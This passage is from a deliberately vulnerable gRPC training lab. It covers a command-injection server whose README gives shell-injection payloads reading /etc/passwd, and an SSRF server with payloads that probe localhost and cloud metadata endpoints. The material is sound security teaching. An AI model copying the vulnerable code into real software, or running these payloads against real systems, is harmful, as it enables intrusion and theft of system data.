Objective 7 | Exploit command injection in the ls command to read the flag file. 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-008 . 13 | docker run -p 8008:8008 grpc-008 14 | ``` 15 | 16 | ## Exploit 17 | 18 | ```bash 19 | # Install grpcurl 20 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 21 | 22 | # Normal directory listing 23 | grpcurl -plaintext -d '{ 24 | "directory": "/tmp" 25 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles 26 | 27 | # Command injection - read flag file 28 | grpcurl -plaintext -d '{ 29 | "directory": "/tmp; cat /tmp/flag.txt" 30 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles 31 | 32 | # Command injection - execute whoami 33 | grpcurl -plaintext -d '{ 34 | "directory": "/tmp; whoami" 35 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles 36 | 37 | # Command injection - read system files 38 | grpcurl -plaintext -d '{ 39 | "directory": "/tmp; cat /etc/passwd" 40 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles 41 | ``` 42 | 43 | ## Impact 44 | Attackers can execute arbitrary commands through the file listing functionality. 45 | 46 | ## Flag 47 | Successfully read the flag file to get: `GRPC_GOAT{command_injection_file_listing}` 48 | 49 | ## Mitigation 50 | Validate directory paths and avoid shell execution with user input. -------------------------------------------------------------------------------- /labs/grpc-008-grpc-command-injection/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-008-grpc-command-injection/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-008-grpc-command-injection/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "net" 8 | "os/exec" 9 | "strings" 10 | 11 | "google.golang.org/grpc" 12 | "google.golang.org/grpc/peer" 13 | 14 | pb "grpc-goat/labs/grpc-008-grpc-command-injection/server/proto" 15 | ) 16 | 17 | // unaryInterceptor logs client connections 18 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 19 | peer, ok := peer.FromContext(ctx) 20 | if ok { 21 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 22 | } 23 | return handler(ctx, req) 24 | } 25 | 26 | type fileProcessorServer struct { 27 | pb.UnimplementedFileProcessorServer 28 | } 29 | 30 | func newFileProcessorServer() *fileProcessorServer { 31 | return &fileProcessorServer{} 32 | } 33 | 34 | func (s *fileProcessorServer) ListFiles(ctx context.Context, req *pb.ListFilesRequest) (*pb.ListFilesResponse, error) { 35 | log.Printf("Listing files in directory: %s", req.Directory) 36 | 37 | // VULNERABILITY: Command injection - directly using user input 38 | command := fmt.Sprintf("ls -la %s", req.Directory) 39 | 40 | log.Printf("Executing command: %s", command) 41 | 42 | output, err := exec.Command("sh", "-c", command).Output() 43 | if err != nil { 44 | return &pb.ListFilesResponse{ 45 | Success: false, 46 | Output: fmt.Sprintf("Command execution failed: %v", err), 47 | }, nil 48 | } 49 | outputStr := strings.TrimSpace(string(output)) 50 | flag := "" 51 | 52 | // Check if flag was read through command injection 53 | if strings.Contains(outputStr, "GRPC_GOAT{command_injection_file_listing}") { 54 | flag = "GRPC_GOAT{command_injection_file_listing}" 55 | } 56 | 57 | return &pb.ListFilesResponse{ 58 | Success: true, 59 | Output: outputStr, 60 | Flag: flag, 61 | }, nil 62 | } 63 | 64 | func main() { 65 | lis, err := net.Listen("tcp", ":8008") 66 | if err != nil { 67 | log.Fatalf("Failed to listen: %v", err) 68 | } 69 | 70 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor)) 71 | pb.RegisterFileProcessorServer(s, newFileProcessorServer()) 72 | 73 | log.Println("File Listing gRPC server starting on port 8008...") 74 | 75 | if err := s.Serve(lis); err != nil { 76 | log.Fatalf("Failed to serve: %v", err) 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /labs/grpc-008-grpc-command-injection/server/proto/file_processor.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package fileprocessor; 4 | 5 | option go_package = "grpc-goat/labs/grpc-008-grpc-command-injection/server/proto"; 6 | 7 | // FileProcessor provides file listing and management 8 | service FileProcessor { 9 | // ListFiles lists files in the specified directory 10 | rpc ListFiles(ListFilesRequest) returns (ListFilesResponse); 11 | } 12 | 13 | message ListFilesRequest { 14 | string directory = 1; // Directory to list (vulnerable parameter) 15 | } 16 | 17 | message ListFilesResponse { 18 | bool success = 1; 19 | string output = 2; 20 | string flag = 3; // CTF flag for completing this challenge 21 | } 22 | -------------------------------------------------------------------------------- /labs/grpc-009-ssrf/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/image_preview.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN CGO_ENABLED=0 go build -o image-preview main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates 27 | 28 | WORKDIR /root/ 29 | 30 | COPY --from=builder /app/image-preview . 31 | 32 | EXPOSE 8009 33 | 34 | CMD ["./image-preview"] 35 | -------------------------------------------------------------------------------- /labs/grpc-009-ssrf/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 009: SSRF (Server-Side Request Forgery) 2 | 3 | ## Vulnerability 4 | Image Preview service that fetches images from user-provided URLs without validation. 5 | 6 | ## Objective 7 | Exploit SSRF to access internal services and capture the flag. 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-009 . 13 | docker run -p 8009:8009 grpc-009 14 | ``` 15 | 16 | ## Exploit 17 | 18 | ```bash 19 | # Install grpcurl 20 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 21 | 22 | # Normal image fetch (external URL) 23 | grpcurl -plaintext -d '{ 24 | "url": "https://httpbin.org/get" 25 | }' localhost:8009 imagepreview.ImagePreview/FetchImage 26 | 27 | # SSRF - Access internal flag server 28 | grpcurl -plaintext -d '{ 29 | "url": "http://localhost:8080/flag" 30 | }' localhost:8009 imagepreview.ImagePreview/FetchImage 31 | 32 | # SSRF - Access internal service root 33 | grpcurl -plaintext -d '{ 34 | "url": "http://127.0.0.1:8080" 35 | }' localhost:8009 imagepreview.ImagePreview/FetchImage 36 | 37 | # SSRF - Access metadata service (cloud environments) 38 | grpcurl -plaintext -d '{ 39 | "url": "http://169.254.169.254/latest/meta-data/" 40 | }' localhost:8009 imagepreview.ImagePreview/FetchImage 41 | 42 | # SSRF - Access internal network 43 | grpcurl -plaintext -d '{ 44 | "url": "http://127.0.0.1:22" 45 | }' localhost:8009 imagepreview.ImagePreview/FetchImage 46 | ``` 47 | 48 | ## Impact 49 | Attackers can access internal services, cloud metadata, and local files. 50 | 51 | ## Flag 52 | Successfully access internal resources to get: `GRPC_GOAT{ssrf_internal_service_access}` 53 | 54 | ## Mitigation 55 | Validate URLs, use allowlists, and restrict network access for the service. 56 | -------------------------------------------------------------------------------- /labs/grpc-009-ssrf/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-009-ssrf/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-009-ssrf/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "io" 7 | "log" 8 | "net" 9 | "net/http" 10 | "time" 11 | 12 | "google.golang.org/grpc" 13 | "google.golang.org/grpc/peer" 14 | 15 | pb "grpc-goat/labs/grpc-009-ssrf/server/proto" 16 | ) 17 | 18 | // unaryInterceptor logs client connections 19 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 20 | peer, ok := peer.FromContext(ctx) 21 | if ok { 22 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 23 | } 24 | return handler(ctx, req) 25 | } 26 | 27 | type imagePreviewServer struct { 28 | pb.UnimplementedImagePreviewServer 29 | } 30 | 31 | func newImagePreviewServer() *imagePreviewServer { 32 | return &imagePreviewServer{} 33 | } 34 | 35 | // startFlagServer starts a local HTTP server with the flag 36 | func startFlagServer() { 37 | http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 38 | if r.URL.Path == "/flag" { 39 | fmt.Fprint(w, "GRPC_GOAT{ssrf_internal_service_access}") 40 | } else { 41 | fmt.Fprint(w, "Internal service - try /flag endpoint") 42 | } 43 | }) 44 | 45 | log.Println("Starting internal flag server on localhost:8080") 46 | go func() { 47 | if err := http.ListenAndServe("127.0.0.1:8080", nil); err != nil { 48 | log.Printf("Flag server error: %v", err) 49 | } 50 | }() 51 | } 52 | 53 | func (s *imagePreviewServer) FetchImage(ctx context.Context, req *pb.FetchImageRequest) (*pb.FetchImageResponse, error) { 54 | log.Printf("Fetching image from URL: %s", req.Url) 55 | 56 | // VULNERABILITY: SSRF - directly fetching user-provided URLs without validation 57 | client := &http.Client{ 58 | Timeout: 10 * time.Second, 59 | } 60 | 61 | resp, err := client.Get(req.Url) 62 | if err != nil { 63 | return &pb.FetchImageResponse{ 64 | Success: false, 65 | Content: "Failed to fetch URL: " + err.Error(), 66 | }, nil 67 | } 68 | defer resp.Body.Close() 69 | 70 | // Read response content 71 | body, err := io.ReadAll(resp.Body) 72 | if err != nil { 73 | return &pb.FetchImageResponse{ 74 | Success: false, 75 | Content: "Failed to read response: " + err.Error(), 76 | }, nil 77 | } 78 | 79 | content := string(body) 80 | 81 | return &pb.FetchImageResponse{ 82 | Success: true, 83 | Content: content, 84 | }, nil 85 | } 86 | 87 | func main() { 88 | // Start the internal flag server 89 | startFlagServer() 90 | time.Sleep(1 * time.Second) // Give flag server time to start 91 | 92 | lis, err := net.Listen("tcp", ":8009") 93 | if err != nil { 94 | log.Fatalf("Failed to listen: %v", err) 95 | } 96 | 97 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor)) 98 | pb.RegisterImagePreviewServer(s, newImagePreviewServer()) 99 | 100 | log.Println("Image Preview gRPC server starting on port 8009...") 101 | log.Println("Internal flag server running on localhost:8080") 102 | 103 | if err := s.Serve(lis); err != nil { 104 | log.Fatalf("Failed to serve: %v", err) 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /labs/grpc-009-ssrf/server/proto/image_preview.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package imagepreview; 4 | 5 | option go_package = "grpc-goat/labs/grpc-009-ssrf/server/proto"; 6 | 7 | // ImagePreview fetches and processes images from URLs 8 | service ImagePreview { 9 | // FetchImage fetches an image from the provided URL 10 | rpc FetchImage(FetchImageRequest) returns (FetchImageResponse); 11 | } 12 | 13 | message FetchImageRequest { 14 | string url = 1; // Image URL to fetch (vulnerable parameter) 15 | } 16 | 17 | message FetchImageResponse { 18 | bool success = 1; 19 | string content = 2; // Image content or response data 20 | } 21 | -------------------------------------------------------------------------------- /protos/README.md: -------------------------------------------------------------------------------- 1 | # gRPC Goat Proto Files 2 | 3 | This directory contains all the Protocol Buffer (.proto) files for the gRPC Goat labs. These files are needed to interact with the gRPC services using tools like grpcurl, Postman, or custom clients. 4 | 5 | ## Usage 6 | 7 | ### With grpcurl 8 | ```bash 9 | # Example: Lab 002 - Auth Service 10 | grpcurl -plaintext -proto protos/lab-002-auth.proto \ 11 | -d '{"username": "admin", "password": "password"}' \ 12 | localhost:8002 auth.AuthService/Login 13 | ``` 14 | 15 | ### With Postman 16 | 1. Import the proto file in Postman's gRPC request 17 | 2. Select the service and method 18 | 3. Fill in the request data 19 | 4. Send the request 20 | 21 | ### With Custom Clients 22 | Use these proto files to generate client code in your preferred language: 23 | ```bash 24 | # Generate Go client 25 | protoc --go_out=. --go-grpc_out=. protos/lab-002-auth.proto 26 | 27 | # Generate Python client 28 | python -m grpc_tools.protoc -I protos --python_out=. --grpc_python_out=. protos/lab-002-auth.proto 29 | ``` 30 | 31 | ## Lab Proto Files 32 | 33 | | Lab | Service | Proto File | Description | 34 | |-----|---------|------------|-------------| 35 | | 001 | Service Discovery | *Uses reflection* | No proto file needed | 36 | | 002 | Auth Service | `lab-002-auth.proto` | User authentication | 37 | | 003 | Billing Service | `lab-003-billing.proto` | Payment processing | 38 | | 004 | Partner API | `lab-004-partner.proto` | Partner integrations | 39 | | 005 | Partner API v2 | `lab-005-partner-v2.proto` | Enhanced partner API | 40 | | 006 | Admin Service | `lab-006-admin.proto` | System administration | 41 | | 007 | User Directory | `lab-007-user-directory.proto` | Employee profiles | 42 | | 008 | File Processor | `lab-008-file-processor.proto` | File processing | 43 | | 009 | Image Preview | `lab-009-image-preview.proto` | Image fetching | 44 | 45 | ## Notes 46 | 47 | - Lab 001 uses gRPC reflection, so no proto file is needed 48 | - All other labs require the corresponding proto file for client interaction 49 | - Proto files are copied from each lab's `server/proto/` directory 50 | - These files are kept in sync with the actual service implementations 51 | -------------------------------------------------------------------------------- /protos/lab-002-auth.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package auth; 4 | 5 | option go_package = "grpc-goat/labs/grpc-002-plaintext-grpc/server/proto"; 6 | 7 | // AuthService handles user authentication 8 | service AuthService { 9 | // Login authenticates a user and returns a session token 10 | rpc Login(LoginRequest) returns (LoginResponse); 11 | } 12 | 13 | message LoginRequest { 14 | string username = 1; 15 | string password = 2; 16 | } 17 | 18 | message LoginResponse { 19 | bool success = 1; 20 | string message = 2; 21 | string session_token = 3; 22 | string flag = 4; // CTF flag for completing this challenge 23 | } 24 | -------------------------------------------------------------------------------- /protos/lab-003-billing.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package billing; 4 | 5 | option go_package = "grpc-goat/labs/grpc-003-insecure-tls/server/proto"; 6 | 7 | // BillingService processes customer payments 8 | service BillingService { 9 | // ProcessPayment processes a customer payment 10 | rpc ProcessPayment(PaymentRequest) returns (PaymentResponse); 11 | } 12 | 13 | message PaymentRequest { 14 | string customer_id = 1; 15 | string card_number = 2; 16 | string expiry_date = 3; 17 | string cvv = 4; 18 | double amount = 5; 19 | string currency = 6; 20 | } 21 | 22 | message PaymentResponse { 23 | bool success = 1; 24 | string message = 2; 25 | string transaction_id = 3; 26 | string flag = 4; // CTF flag for completing this challenge 27 | } 28 | -------------------------------------------------------------------------------- /protos/lab-004-partner.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package partner; 4 | 5 | option go_package = "grpc-goat/labs/grpc-004-arbitary-mtls/server/proto"; 6 | 7 | // PartnerAPI exposes partner integrations 8 | service PartnerAPI { 9 | // GetPartnerData returns sensitive partner information 10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse); 11 | } 12 | 13 | message PartnerDataRequest { 14 | string partner_id = 1; 15 | string data_type = 2; 16 | } 17 | 18 | message PartnerDataResponse { 19 | bool success = 1; 20 | string message = 2; 21 | repeated PartnerInfo partners = 3; 22 | string flag = 4; // CTF flag for completing this challenge 23 | } 24 | 25 | message PartnerInfo { 26 | string partner_id = 1; 27 | string name = 2; 28 | string api_key = 3; 29 | string secret = 4; 30 | repeated string permissions = 5; 31 | } 32 | -------------------------------------------------------------------------------- /protos/lab-005-partner-v2.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package partner; 4 | 5 | option go_package = "grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server/proto"; 6 | 7 | // PartnerAPI exposes partner integrations 8 | service PartnerAPI { 9 | // GetPartnerData returns sensitive partner information 10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse); 11 | } 12 | 13 | message PartnerDataRequest { 14 | string partner_id = 1; 15 | string data_type = 2; 16 | } 17 | 18 | message PartnerDataResponse { 19 | bool success = 1; 20 | string message = 2; 21 | repeated PartnerInfo partners = 3; 22 | string flag = 4; // CTF flag for completing this challenge 23 | } 24 | 25 | message PartnerInfo { 26 | string partner_id = 1; 27 | string name = 2; 28 | string api_key = 3; 29 | string secret = 4; 30 | repeated string permissions = 5; 31 | } 32 | -------------------------------------------------------------------------------- /protos/lab-006-admin.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package admin; 4 | 5 | option go_package = "grpc-goat/labs/grpc-006-pipe-world-read-write/server/proto"; 6 | 7 | // AdminService provides privileged system operations 8 | service AdminService { 9 | // GetSystemInfo returns sensitive system information 10 | rpc GetSystemInfo(SystemInfoRequest) returns (SystemInfoResponse); 11 | 12 | // ExecuteCommand runs system commands (admin only) 13 | rpc ExecuteCommand(CommandRequest) returns (CommandResponse); 14 | } 15 | 16 | message SystemInfoRequest { 17 | // Empty request 18 | } 19 | 20 | message SystemInfoResponse { 21 | bool success = 1; 22 | string hostname = 2; 23 | string username = 3; 24 | string working_directory = 4; 25 | repeated string environment_vars = 5; 26 | } 27 | 28 | message CommandRequest { 29 | string command = 1; 30 | repeated string args = 2; 31 | } 32 | 33 | message CommandResponse { 34 | bool success = 1; 35 | string output = 2; 36 | string error = 3; 37 | int32 exit_code = 4; 38 | } 39 | -------------------------------------------------------------------------------- /protos/lab-007-user-directory.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package userdirectory; 4 | 5 | option go_package = "grpc-goat/labs/grpc-007-sql-injection/server/proto"; 6 | 7 | // UserDirectory provides employee profile management 8 | service UserDirectory { 9 | // SearchUsers searches for users by username (vulnerable to SQL injection) 10 | rpc SearchUsers(SearchUsersRequest) returns (SearchUsersResponse); 11 | } 12 | 13 | message SearchUsersRequest { 14 | string username = 1; // Username search (vulnerable parameter) 15 | } 16 | 17 | message SearchUsersResponse { 18 | bool success = 1; 19 | repeated UserInfo users = 2; 20 | string flag = 3; // Flag returned when SQL injection is successful 21 | } 22 | 23 | message UserInfo { 24 | string username = 1; 25 | string email = 2; 26 | string role = 3; 27 | } 28 | -------------------------------------------------------------------------------- /protos/lab-008-file-processor.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package fileprocessor; 4 | 5 | option go_package = "grpc-goat/labs/grpc-008-grpc-command-injection/server/proto"; 6 | 7 | // FileProcessor provides file listing and management 8 | service FileProcessor { 9 | // ListFiles lists files in the specified directory 10 | rpc ListFiles(ListFilesRequest) returns (ListFilesResponse); 11 | } 12 | 13 | message ListFilesRequest { 14 | string directory = 1; // Directory to list (vulnerable parameter) 15 | } 16 | 17 | message ListFilesResponse { 18 | bool success = 1; 19 | string output = 2; 20 | string flag = 3; // CTF flag for completing this challenge 21 | } 22 | -------------------------------------------------------------------------------- /protos/lab-009-image-preview.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package imagepreview; 4 | 5 | option go_package = "grpc-goat/labs/grpc-009-ssrf/server/proto"; 6 | 7 | // ImagePreview fetches and processes images from URLs 8 | service ImagePreview { 9 | // FetchImage fetches an image from the provided URL 10 | rpc FetchImage(FetchImageRequest) returns (FetchImageResponse); 11 | } 12 | 13 | message FetchImageRequest { 14 | string url = 1; // Image URL to fetch (vulnerable parameter) 15 | } 16 | 17 | message FetchImageResponse { 18 | bool success = 1; 19 | string content = 2; // Image content or response data 20 | } 21 | --------------------------------------------------------------------------------